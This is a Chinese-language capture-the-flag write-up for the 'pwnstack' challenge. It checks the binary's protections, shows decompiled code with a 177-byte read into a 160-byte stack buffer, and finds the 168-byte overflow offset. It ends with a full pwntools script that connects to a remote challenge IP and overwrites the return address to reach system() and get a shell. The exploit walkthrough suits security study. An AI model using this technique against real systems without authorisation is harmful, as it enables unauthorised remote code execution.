pwnstack

题目地址 pwnstack

0x1

下载文件到本地后,首先,file 看看文件类型,顺便看看保护机制。

1
2
3
4
5
6
7
8
9
sakura@Kylin:~/下载/pwnstack$ file pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, not stripped
sakura@Kylin:~/下载/pwnstack$ checksec pwn2
[*] '/home/sakura/下载/pwnstack/pwn2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到,这是一个 64 位程序,并且只开启了 NX 保护机制。

0x2

再拖进 IDA 中看看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 vuln()
{
char buf[160]; // [rsp+0h] [rbp-A0h] BYREF

memset(buf, 0, sizeof(buf)); //将 buf全部置为 0
read(0, buf, 0xB1uLL); //0xB1 = 177 bytes
return 0LL;
}

__int64 initsetbuf()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return 0LL;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
initsetbuf(argc, argv, envp);
puts("this is pwn1,can you do that??");
vuln();
return 0;
}

由于只开启了 NX,只需溢出 buf 覆盖函数返回值即可。

1
2
peda$ pattern create 200
peda$ pattern offset .........

image-20220922202634809

image-20220922202345579

得到填充长度为 168 byte

0x3

先看看 pwn2 中是否有 system() 调用,如果有就不用我们自己构建了。

image-20220922220713163

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*

#sh = process("./pwn2")
sh = remote('61.147.171.105', 54665)
#context.log_level = 'debug'

system= 0x400766
# 这里我用 0x400766,而不是 0x400762,是因为不能破坏栈的结构。
payload = b'a'*(0xa0)+ b'a'*8 + p64(system)
sh.recv()
sh.sendline(payload)

sh.interactive()

0x4

测试

image-20220922221704374

远程测试:

image-20220922221935298